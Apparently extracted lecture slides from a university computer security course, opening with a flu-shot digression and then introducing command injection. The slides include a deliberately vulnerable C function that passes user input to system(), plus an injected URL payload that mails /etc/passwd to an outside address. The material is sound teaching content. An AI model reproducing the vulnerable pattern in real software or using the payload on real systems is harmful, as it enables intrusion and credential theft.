lec13_web1.key.pdf - Weaver Computer Science 161 Fall 2019 Command Injection 1 A Quick Digression on self-propagating attacks Computer Science 161 Fall

lec13_web1.key.pdf - Weaver Computer Science 161 Fall 2019...

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Computer Science 161 Fall 2019 Weaver Command Injection 1
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Computer Science 161 Fall 2019 Weaver A Quick Digression on self-propagating attacks... Later on in the semester we will discuss worms, viruses, etc... Malicious attacks designed to spread from computer to computer The analogy to actual viruses is remarkably close Malicious attacks designed to spread from cell to cell and person to person Immune system operates on recognizing "this is bad" and responds to it One of the deadlier biological attacks is influenza It changes from year to year on a quite rapid basis, as a way of avoiding the "this is bad" detector And you all are young and healthy, it probably won't kill you... But it will put you out of action for a week+, and may make you wish you were dead Happy Reading: The 1918 flu... Which killed 500,000 people in the United States alone!
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Computer Science 161 Fall 2019 Weaver 2019 Flu Vaccine Patch Notes from the CDC:
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Computer Science 161 Fall 2019 Weaver So Get A Flu Shot! Tang center o ff ers drop-in Flu clinics : Free with SHIP, $30 otherwise Next one: Friday, Oct 11, 10am-5pm, Tang Center, First Floor Every pharmacy around o ff ers cheap or free Non-SHIP insurance, just walk into CVS or Walgreens with your insurance card This also grants herd immunity : If enough people are immune, this also protects those who aren't immune So it helps others, not just yourself I should ask on the Midterm: "Did I get a Flu shot for the 2019/2020 Flu season?" but I won't
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Computer Science 161 Fall 2019 Weaver Plus Midterm Grades: Remember, hard tests, easy curve!
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Computer Science 161 Fall 2019 Weaver Switching Gears: Web Security We've discussed classic C memory vulnerabilities... We've discussed cryptography A way of formally protecting communication channels Now its on to the ugly world of web application security Old days: Applications ran on computers or mainframes Today: Applications run in a split architecture between the web browser and web server Starting: Command and SQL Injection Attacks: Focusing on the server logic Later: Same origin, xss, csrf attacks: Focusing on the interaction between the server and the client
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Computer Science 161 Fall 2019 Weaver Consider a Silly Web Application... It is a cgi-bin program A program that is invoked with arguments in the URL after the ? In this case, it is look up the user in phonebook... .*mith /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); }
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Computer Science 161 Fall 2019 Weaver Instead of .*Smith How about ; %20mail%20-s%[email protected]%20</etc/passwd;%20touch Command becomes: "grep foo x; mail -s [email protected] </etc/passwd; touch phonebook.txt"
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